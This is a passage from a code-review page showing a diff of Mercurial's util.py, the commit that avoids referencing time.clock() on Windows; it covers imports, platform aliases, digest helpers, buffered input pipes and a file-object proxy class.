##// END OF EJS Templates
util: avoid referencing `time.clock()` on Windows when missing (issue6238)...
Matt Harbison -
r44470:f9d29e1d default
parent child Browse files
Show More
@@ -1,3610 +1,3611 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 procutil,
56 procutil,
57 stringutil,
57 stringutil,
58 )
58 )
59
59
60 base85 = policy.importmod('base85')
60 base85 = policy.importmod('base85')
61 osutil = policy.importmod('osutil')
61 osutil = policy.importmod('osutil')
62
62
63 b85decode = base85.b85decode
63 b85decode = base85.b85decode
64 b85encode = base85.b85encode
64 b85encode = base85.b85encode
65
65
66 cookielib = pycompat.cookielib
66 cookielib = pycompat.cookielib
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 safehasattr = pycompat.safehasattr
69 safehasattr = pycompat.safehasattr
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 bytesio = pycompat.bytesio
71 bytesio = pycompat.bytesio
72 # TODO deprecate stringio name, as it is a lie on Python 3.
72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 stringio = bytesio
73 stringio = bytesio
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 httpserver = urllibcompat.httpserver
76 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
77 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
78 urlreq = urllibcompat.urlreq
79
79
80 # workaround for win32mbcs
80 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
81 _filenamebytestr = pycompat.bytestr
82
82
83 if pycompat.iswindows:
83 if pycompat.iswindows:
84 from . import windows as platform
84 from . import windows as platform
85 else:
85 else:
86 from . import posix as platform
86 from . import posix as platform
87
87
88 _ = i18n._
88 _ = i18n._
89
89
90 bindunixsocket = platform.bindunixsocket
90 bindunixsocket = platform.bindunixsocket
91 cachestat = platform.cachestat
91 cachestat = platform.cachestat
92 checkexec = platform.checkexec
92 checkexec = platform.checkexec
93 checklink = platform.checklink
93 checklink = platform.checklink
94 copymode = platform.copymode
94 copymode = platform.copymode
95 expandglobs = platform.expandglobs
95 expandglobs = platform.expandglobs
96 getfsmountpoint = platform.getfsmountpoint
96 getfsmountpoint = platform.getfsmountpoint
97 getfstype = platform.getfstype
97 getfstype = platform.getfstype
98 groupmembers = platform.groupmembers
98 groupmembers = platform.groupmembers
99 groupname = platform.groupname
99 groupname = platform.groupname
100 isexec = platform.isexec
100 isexec = platform.isexec
101 isowner = platform.isowner
101 isowner = platform.isowner
102 listdir = osutil.listdir
102 listdir = osutil.listdir
103 localpath = platform.localpath
103 localpath = platform.localpath
104 lookupreg = platform.lookupreg
104 lookupreg = platform.lookupreg
105 makedir = platform.makedir
105 makedir = platform.makedir
106 nlinks = platform.nlinks
106 nlinks = platform.nlinks
107 normpath = platform.normpath
107 normpath = platform.normpath
108 normcase = platform.normcase
108 normcase = platform.normcase
109 normcasespec = platform.normcasespec
109 normcasespec = platform.normcasespec
110 normcasefallback = platform.normcasefallback
110 normcasefallback = platform.normcasefallback
111 openhardlinks = platform.openhardlinks
111 openhardlinks = platform.openhardlinks
112 oslink = platform.oslink
112 oslink = platform.oslink
113 parsepatchoutput = platform.parsepatchoutput
113 parsepatchoutput = platform.parsepatchoutput
114 pconvert = platform.pconvert
114 pconvert = platform.pconvert
115 poll = platform.poll
115 poll = platform.poll
116 posixfile = platform.posixfile
116 posixfile = platform.posixfile
117 readlink = platform.readlink
117 readlink = platform.readlink
118 rename = platform.rename
118 rename = platform.rename
119 removedirs = platform.removedirs
119 removedirs = platform.removedirs
120 samedevice = platform.samedevice
120 samedevice = platform.samedevice
121 samefile = platform.samefile
121 samefile = platform.samefile
122 samestat = platform.samestat
122 samestat = platform.samestat
123 setflags = platform.setflags
123 setflags = platform.setflags
124 split = platform.split
124 split = platform.split
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statisexec = platform.statisexec
126 statisexec = platform.statisexec
127 statislink = platform.statislink
127 statislink = platform.statislink
128 umask = platform.umask
128 umask = platform.umask
129 unlink = platform.unlink
129 unlink = platform.unlink
130 username = platform.username
130 username = platform.username
131
131
132 # small compat layer
132 # small compat layer
133 compengines = compression.compengines
133 compengines = compression.compengines
134 SERVERROLE = compression.SERVERROLE
134 SERVERROLE = compression.SERVERROLE
135 CLIENTROLE = compression.CLIENTROLE
135 CLIENTROLE = compression.CLIENTROLE
136
136
137 try:
137 try:
138 recvfds = osutil.recvfds
138 recvfds = osutil.recvfds
139 except AttributeError:
139 except AttributeError:
140 pass
140 pass
141
141
142 # Python compatibility
142 # Python compatibility
143
143
144 _notset = object()
144 _notset = object()
145
145
146
146
147 def bitsfrom(container):
147 def bitsfrom(container):
148 bits = 0
148 bits = 0
149 for bit in container:
149 for bit in container:
150 bits |= bit
150 bits |= bit
151 return bits
151 return bits
152
152
153
153
154 # python 2.6 still have deprecation warning enabled by default. We do not want
154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # to display anything to standard user so detect if we are running test and
155 # to display anything to standard user so detect if we are running test and
156 # only use python deprecation warning in this case.
156 # only use python deprecation warning in this case.
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 if _dowarn:
158 if _dowarn:
159 # explicitly unfilter our warning for python 2.7
159 # explicitly unfilter our warning for python 2.7
160 #
160 #
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 if _dowarn and pycompat.ispy3:
168 if _dowarn and pycompat.ispy3:
169 # silence warning emitted by passing user string to re.sub()
169 # silence warning emitted by passing user string to re.sub()
170 warnings.filterwarnings(
170 warnings.filterwarnings(
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 )
172 )
173 warnings.filterwarnings(
173 warnings.filterwarnings(
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 )
175 )
176 # TODO: reinvent imp.is_frozen()
176 # TODO: reinvent imp.is_frozen()
177 warnings.filterwarnings(
177 warnings.filterwarnings(
178 'ignore',
178 'ignore',
179 'the imp module is deprecated',
179 'the imp module is deprecated',
180 DeprecationWarning,
180 DeprecationWarning,
181 'mercurial',
181 'mercurial',
182 )
182 )
183
183
184
184
185 def nouideprecwarn(msg, version, stacklevel=1):
185 def nouideprecwarn(msg, version, stacklevel=1):
186 """Issue an python native deprecation warning
186 """Issue an python native deprecation warning
187
187
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 """
189 """
190 if _dowarn:
190 if _dowarn:
191 msg += (
191 msg += (
192 b"\n(compatibility will be dropped after Mercurial-%s,"
192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b" update your code.)"
193 b" update your code.)"
194 ) % version
194 ) % version
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196
196
197
197
198 DIGESTS = {
198 DIGESTS = {
199 b'md5': hashlib.md5,
199 b'md5': hashlib.md5,
200 b'sha1': hashlib.sha1,
200 b'sha1': hashlib.sha1,
201 b'sha512': hashlib.sha512,
201 b'sha512': hashlib.sha512,
202 }
202 }
203 # List of digest types from strongest to weakest
203 # List of digest types from strongest to weakest
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205
205
206 for k in DIGESTS_BY_STRENGTH:
206 for k in DIGESTS_BY_STRENGTH:
207 assert k in DIGESTS
207 assert k in DIGESTS
208
208
209
209
210 class digester(object):
210 class digester(object):
211 """helper to compute digests.
211 """helper to compute digests.
212
212
213 This helper can be used to compute one or more digests given their name.
213 This helper can be used to compute one or more digests given their name.
214
214
215 >>> d = digester([b'md5', b'sha1'])
215 >>> d = digester([b'md5', b'sha1'])
216 >>> d.update(b'foo')
216 >>> d.update(b'foo')
217 >>> [k for k in sorted(d)]
217 >>> [k for k in sorted(d)]
218 ['md5', 'sha1']
218 ['md5', 'sha1']
219 >>> d[b'md5']
219 >>> d[b'md5']
220 'acbd18db4cc2f85cedef654fccc4a4d8'
220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 >>> d[b'sha1']
221 >>> d[b'sha1']
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 >>> digester.preferred([b'md5', b'sha1'])
223 >>> digester.preferred([b'md5', b'sha1'])
224 'sha1'
224 'sha1'
225 """
225 """
226
226
227 def __init__(self, digests, s=b''):
227 def __init__(self, digests, s=b''):
228 self._hashes = {}
228 self._hashes = {}
229 for k in digests:
229 for k in digests:
230 if k not in DIGESTS:
230 if k not in DIGESTS:
231 raise error.Abort(_(b'unknown digest type: %s') % k)
231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 self._hashes[k] = DIGESTS[k]()
232 self._hashes[k] = DIGESTS[k]()
233 if s:
233 if s:
234 self.update(s)
234 self.update(s)
235
235
236 def update(self, data):
236 def update(self, data):
237 for h in self._hashes.values():
237 for h in self._hashes.values():
238 h.update(data)
238 h.update(data)
239
239
240 def __getitem__(self, key):
240 def __getitem__(self, key):
241 if key not in DIGESTS:
241 if key not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 return nodemod.hex(self._hashes[key].digest())
243 return nodemod.hex(self._hashes[key].digest())
244
244
245 def __iter__(self):
245 def __iter__(self):
246 return iter(self._hashes)
246 return iter(self._hashes)
247
247
248 @staticmethod
248 @staticmethod
249 def preferred(supported):
249 def preferred(supported):
250 """returns the strongest digest type in both supported and DIGESTS."""
250 """returns the strongest digest type in both supported and DIGESTS."""
251
251
252 for k in DIGESTS_BY_STRENGTH:
252 for k in DIGESTS_BY_STRENGTH:
253 if k in supported:
253 if k in supported:
254 return k
254 return k
255 return None
255 return None
256
256
257
257
258 class digestchecker(object):
258 class digestchecker(object):
259 """file handle wrapper that additionally checks content against a given
259 """file handle wrapper that additionally checks content against a given
260 size and digests.
260 size and digests.
261
261
262 d = digestchecker(fh, size, {'md5': '...'})
262 d = digestchecker(fh, size, {'md5': '...'})
263
263
264 When multiple digests are given, all of them are validated.
264 When multiple digests are given, all of them are validated.
265 """
265 """
266
266
267 def __init__(self, fh, size, digests):
267 def __init__(self, fh, size, digests):
268 self._fh = fh
268 self._fh = fh
269 self._size = size
269 self._size = size
270 self._got = 0
270 self._got = 0
271 self._digests = dict(digests)
271 self._digests = dict(digests)
272 self._digester = digester(self._digests.keys())
272 self._digester = digester(self._digests.keys())
273
273
274 def read(self, length=-1):
274 def read(self, length=-1):
275 content = self._fh.read(length)
275 content = self._fh.read(length)
276 self._digester.update(content)
276 self._digester.update(content)
277 self._got += len(content)
277 self._got += len(content)
278 return content
278 return content
279
279
280 def validate(self):
280 def validate(self):
281 if self._size != self._got:
281 if self._size != self._got:
282 raise error.Abort(
282 raise error.Abort(
283 _(b'size mismatch: expected %d, got %d')
283 _(b'size mismatch: expected %d, got %d')
284 % (self._size, self._got)
284 % (self._size, self._got)
285 )
285 )
286 for k, v in self._digests.items():
286 for k, v in self._digests.items():
287 if v != self._digester[k]:
287 if v != self._digester[k]:
288 # i18n: first parameter is a digest name
288 # i18n: first parameter is a digest name
289 raise error.Abort(
289 raise error.Abort(
290 _(b'%s mismatch: expected %s, got %s')
290 _(b'%s mismatch: expected %s, got %s')
291 % (k, v, self._digester[k])
291 % (k, v, self._digester[k])
292 )
292 )
293
293
294
294
295 try:
295 try:
296 buffer = buffer
296 buffer = buffer
297 except NameError:
297 except NameError:
298
298
299 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
300 if length is not None:
301 return memoryview(sliceable)[offset : offset + length]
301 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
303
303
304
304
305 _chunksize = 4096
305 _chunksize = 4096
306
306
307
307
308 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
309 """a manually buffered input pipe
309 """a manually buffered input pipe
310
310
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
314
314
315 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
318
318
319 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
320 module from the python stdlib.
321 """
321 """
322
322
323 def __new__(cls, fh):
323 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
325 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
326 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
327 cls = observedbufferedinputpipe
328
328
329 return super(bufferedinputpipe, cls).__new__(cls)
329 return super(bufferedinputpipe, cls).__new__(cls)
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def unbufferedread(self, size):
360 def unbufferedread(self, size):
361 if not self._eof and self._lenbuf == 0:
361 if not self._eof and self._lenbuf == 0:
362 self._fillbuffer(max(size, _chunksize))
362 self._fillbuffer(max(size, _chunksize))
363 return self._frombuffer(min(self._lenbuf, size))
363 return self._frombuffer(min(self._lenbuf, size))
364
364
365 def readline(self, *args, **kwargs):
365 def readline(self, *args, **kwargs):
366 if len(self._buffer) > 1:
366 if len(self._buffer) > 1:
367 # this should not happen because both read and readline end with a
367 # this should not happen because both read and readline end with a
368 # _frombuffer call that collapse it.
368 # _frombuffer call that collapse it.
369 self._buffer = [b''.join(self._buffer)]
369 self._buffer = [b''.join(self._buffer)]
370 self._lenbuf = len(self._buffer[0])
370 self._lenbuf = len(self._buffer[0])
371 lfi = -1
371 lfi = -1
372 if self._buffer:
372 if self._buffer:
373 lfi = self._buffer[-1].find(b'\n')
373 lfi = self._buffer[-1].find(b'\n')
374 while (not self._eof) and lfi < 0:
374 while (not self._eof) and lfi < 0:
375 self._fillbuffer()
375 self._fillbuffer()
376 if self._buffer:
376 if self._buffer:
377 lfi = self._buffer[-1].find(b'\n')
377 lfi = self._buffer[-1].find(b'\n')
378 size = lfi + 1
378 size = lfi + 1
379 if lfi < 0: # end of file
379 if lfi < 0: # end of file
380 size = self._lenbuf
380 size = self._lenbuf
381 elif len(self._buffer) > 1:
381 elif len(self._buffer) > 1:
382 # we need to take previous chunks into account
382 # we need to take previous chunks into account
383 size += self._lenbuf - len(self._buffer[-1])
383 size += self._lenbuf - len(self._buffer[-1])
384 return self._frombuffer(size)
384 return self._frombuffer(size)
385
385
386 def _frombuffer(self, size):
386 def _frombuffer(self, size):
387 """return at most 'size' data from the buffer
387 """return at most 'size' data from the buffer
388
388
389 The data are removed from the buffer."""
389 The data are removed from the buffer."""
390 if size == 0 or not self._buffer:
390 if size == 0 or not self._buffer:
391 return b''
391 return b''
392 buf = self._buffer[0]
392 buf = self._buffer[0]
393 if len(self._buffer) > 1:
393 if len(self._buffer) > 1:
394 buf = b''.join(self._buffer)
394 buf = b''.join(self._buffer)
395
395
396 data = buf[:size]
396 data = buf[:size]
397 buf = buf[len(data) :]
397 buf = buf[len(data) :]
398 if buf:
398 if buf:
399 self._buffer = [buf]
399 self._buffer = [buf]
400 self._lenbuf = len(buf)
400 self._lenbuf = len(buf)
401 else:
401 else:
402 self._buffer = []
402 self._buffer = []
403 self._lenbuf = 0
403 self._lenbuf = 0
404 return data
404 return data
405
405
406 def _fillbuffer(self, size=_chunksize):
406 def _fillbuffer(self, size=_chunksize):
407 """read data to the buffer"""
407 """read data to the buffer"""
408 data = os.read(self._input.fileno(), size)
408 data = os.read(self._input.fileno(), size)
409 if not data:
409 if not data:
410 self._eof = True
410 self._eof = True
411 else:
411 else:
412 self._lenbuf += len(data)
412 self._lenbuf += len(data)
413 self._buffer.append(data)
413 self._buffer.append(data)
414
414
415 return data
415 return data
416
416
417
417
418 def mmapread(fp):
418 def mmapread(fp):
419 try:
419 try:
420 fd = getattr(fp, 'fileno', lambda: fp)()
420 fd = getattr(fp, 'fileno', lambda: fp)()
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 except ValueError:
422 except ValueError:
423 # Empty files cannot be mmapped, but mmapread should still work. Check
423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 # if the file is empty, and if so, return an empty buffer.
424 # if the file is empty, and if so, return an empty buffer.
425 if os.fstat(fd).st_size == 0:
425 if os.fstat(fd).st_size == 0:
426 return b''
426 return b''
427 raise
427 raise
428
428
429
429
430 class fileobjectproxy(object):
430 class fileobjectproxy(object):
431 """A proxy around file objects that tells a watcher when events occur.
431 """A proxy around file objects that tells a watcher when events occur.
432
432
433 This type is intended to only be used for testing purposes. Think hard
433 This type is intended to only be used for testing purposes. Think hard
434 before using it in important code.
434 before using it in important code.
435 """
435 """
436
436
437 __slots__ = (
437 __slots__ = (
438 '_orig',
438 '_orig',
439 '_observer',
439 '_observer',
440 )
440 )
441
441
442 def __init__(self, fh, observer):
442 def __init__(self, fh, observer):
443 object.__setattr__(self, '_orig', fh)
443 object.__setattr__(self, '_orig', fh)
444 object.__setattr__(self, '_observer', observer)
444 object.__setattr__(self, '_observer', observer)
445
445
446 def __getattribute__(self, name):
446 def __getattribute__(self, name):
447 ours = {
447 ours = {
448 '_observer',
448 '_observer',
449 # IOBase
449 # IOBase
450 'close',
450 'close',
451 # closed if a property
451 # closed if a property
452 'fileno',
452 'fileno',
453 'flush',
453 'flush',
454 'isatty',
454 'isatty',
455 'readable',
455 'readable',
456 'readline',
456 'readline',
457 'readlines',
457 'readlines',
458 'seek',
458 'seek',
459 'seekable',
459 'seekable',
460 'tell',
460 'tell',
461 'truncate',
461 'truncate',
462 'writable',
462 'writable',
463 'writelines',
463 'writelines',
464 # RawIOBase
464 # RawIOBase
465 'read',
465 'read',
466 'readall',
466 'readall',
467 'readinto',
467 'readinto',
468 'write',
468 'write',
469 # BufferedIOBase
469 # BufferedIOBase
470 # raw is a property
470 # raw is a property
471 'detach',
471 'detach',
472 # read defined above
472 # read defined above
473 'read1',
473 'read1',
474 # readinto defined above
474 # readinto defined above
475 # write defined above
475 # write defined above
476 }
476 }
477
477
478 # We only observe some methods.
478 # We only observe some methods.
479 if name in ours:
479 if name in ours:
480 return object.__getattribute__(self, name)
480 return object.__getattribute__(self, name)
481
481
482 return getattr(object.__getattribute__(self, '_orig'), name)
482 return getattr(object.__getattribute__(self, '_orig'), name)
483
483
484 def __nonzero__(self):
484 def __nonzero__(self):
485 return bool(object.__getattribute__(self, '_orig'))
485 return bool(object.__getattribute__(self, '_orig'))
486
486
487 __bool__ = __nonzero__
487 __bool__ = __nonzero__
488
488
489 def __delattr__(self, name):
489 def __delattr__(self, name):
490 return delattr(object.__getattribute__(self, '_orig'), name)
490 return delattr(object.__getattribute__(self, '_orig'), name)
491
491
492 def __setattr__(self, name, value):
492 def __setattr__(self, name, value):
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494
494
495 def __iter__(self):
495 def __iter__(self):
496 return object.__getattribute__(self, '_orig').__iter__()
496 return object.__getattribute__(self, '_orig').__iter__()
497
497
498 def _observedcall(self, name, *args, **kwargs):
498 def _observedcall(self, name, *args, **kwargs):
499 # Call the original object.
499 # Call the original object.
500 orig = object.__getattribute__(self, '_orig')
500 orig = object.__getattribute__(self, '_orig')
501 res = getattr(orig, name)(*args, **kwargs)
501 res = getattr(orig, name)(*args, **kwargs)
502
502
503 # Call a method on the observer of the same name with arguments
503 # Call a method on the observer of the same name with arguments
504 # so it can react, log, etc.
504 # so it can react, log, etc.
505 observer = object.__getattribute__(self, '_observer')
505 observer = object.__getattribute__(self, '_observer')
506 fn = getattr(observer, name, None)
506 fn = getattr(observer, name, None)
507 if fn:
507 if fn:
508 fn(res, *args, **kwargs)
508 fn(res, *args, **kwargs)
509
509
510 return res
510 return res
511
511
512 def close(self, *args, **kwargs):
512 def close(self, *args, **kwargs):
513 return object.__getattribute__(self, '_observedcall')(
513 return object.__getattribute__(self, '_observedcall')(
514 'close', *args, **kwargs
514 'close', *args, **kwargs
515 )
515 )
516
516
517 def fileno(self, *args, **kwargs):
517 def fileno(self, *args, **kwargs):
518 return object.__getattribute__(self, '_observedcall')(
518 return object.__getattribute__(self, '_observedcall')(
519 'fileno', *args, **kwargs
519 'fileno', *args, **kwargs
520 )
520 )
521
521
522 def flush(self, *args, **kwargs):
522 def flush(self, *args, **kwargs):
523 return object.__getattribute__(self, '_observedcall')(
523 return object.__getattribute__(self, '_observedcall')(
524 'flush', *args, **kwargs
524 'flush', *args, **kwargs
525 )
525 )
526
526
527 def isatty(self, *args, **kwargs):
527 def isatty(self, *args, **kwargs):
528 return object.__getattribute__(self, '_observedcall')(
528 return object.__getattribute__(self, '_observedcall')(
529 'isatty', *args, **kwargs
529 'isatty', *args, **kwargs
530 )
530 )
531
531
532 def readable(self, *args, **kwargs):
532 def readable(self, *args, **kwargs):
533 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
534 'readable', *args, **kwargs
534 'readable', *args, **kwargs
535 )
535 )
536
536
537 def readline(self, *args, **kwargs):
537 def readline(self, *args, **kwargs):
538 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
539 'readline', *args, **kwargs
539 'readline', *args, **kwargs
540 )
540 )
541
541
542 def readlines(self, *args, **kwargs):
542 def readlines(self, *args, **kwargs):
543 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
544 'readlines', *args, **kwargs
544 'readlines', *args, **kwargs
545 )
545 )
546
546
547 def seek(self, *args, **kwargs):
547 def seek(self, *args, **kwargs):
548 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
549 'seek', *args, **kwargs
549 'seek', *args, **kwargs
550 )
550 )
551
551
552 def seekable(self, *args, **kwargs):
552 def seekable(self, *args, **kwargs):
553 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
554 'seekable', *args, **kwargs
554 'seekable', *args, **kwargs
555 )
555 )
556
556
557 def tell(self, *args, **kwargs):
557 def tell(self, *args, **kwargs):
558 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
559 'tell', *args, **kwargs
559 'tell', *args, **kwargs
560 )
560 )
561
561
562 def truncate(self, *args, **kwargs):
562 def truncate(self, *args, **kwargs):
563 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
564 'truncate', *args, **kwargs
564 'truncate', *args, **kwargs
565 )
565 )
566
566
567 def writable(self, *args, **kwargs):
567 def writable(self, *args, **kwargs):
568 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
569 'writable', *args, **kwargs
569 'writable', *args, **kwargs
570 )
570 )
571
571
572 def writelines(self, *args, **kwargs):
572 def writelines(self, *args, **kwargs):
573 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
574 'writelines', *args, **kwargs
574 'writelines', *args, **kwargs
575 )
575 )
576
576
577 def read(self, *args, **kwargs):
577 def read(self, *args, **kwargs):
578 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
579 'read', *args, **kwargs
579 'read', *args, **kwargs
580 )
580 )
581
581
582 def readall(self, *args, **kwargs):
582 def readall(self, *args, **kwargs):
583 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
584 'readall', *args, **kwargs
584 'readall', *args, **kwargs
585 )
585 )
586
586
587 def readinto(self, *args, **kwargs):
587 def readinto(self, *args, **kwargs):
588 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
589 'readinto', *args, **kwargs
589 'readinto', *args, **kwargs
590 )
590 )
591
591
592 def write(self, *args, **kwargs):
592 def write(self, *args, **kwargs):
593 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
594 'write', *args, **kwargs
594 'write', *args, **kwargs
595 )
595 )
596
596
597 def detach(self, *args, **kwargs):
597 def detach(self, *args, **kwargs):
598 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
599 'detach', *args, **kwargs
599 'detach', *args, **kwargs
600 )
600 )
601
601
602 def read1(self, *args, **kwargs):
602 def read1(self, *args, **kwargs):
603 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
604 'read1', *args, **kwargs
604 'read1', *args, **kwargs
605 )
605 )
606
606
607
607
608 class observedbufferedinputpipe(bufferedinputpipe):
608 class observedbufferedinputpipe(bufferedinputpipe):
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610
610
